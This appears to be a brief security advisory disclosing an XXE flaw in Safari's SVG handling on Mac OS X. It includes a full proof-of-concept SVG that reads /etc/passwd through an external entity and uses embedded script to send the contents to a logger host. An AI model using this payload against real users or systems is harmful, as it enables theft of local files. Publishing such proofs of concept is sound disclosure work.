Safari for Mac OS X is prone to an XXE vulnerability when processing crafted SVG images.
An attacker may use this vulnerability to steal files from local computer by tricking a user into opening and SVG image from a local location (ie USB key).
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.
PoC:
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<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="19000px" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="-1000" y="-1000" >&xxe;</text>
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<script>
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger);
</script>
</svg>
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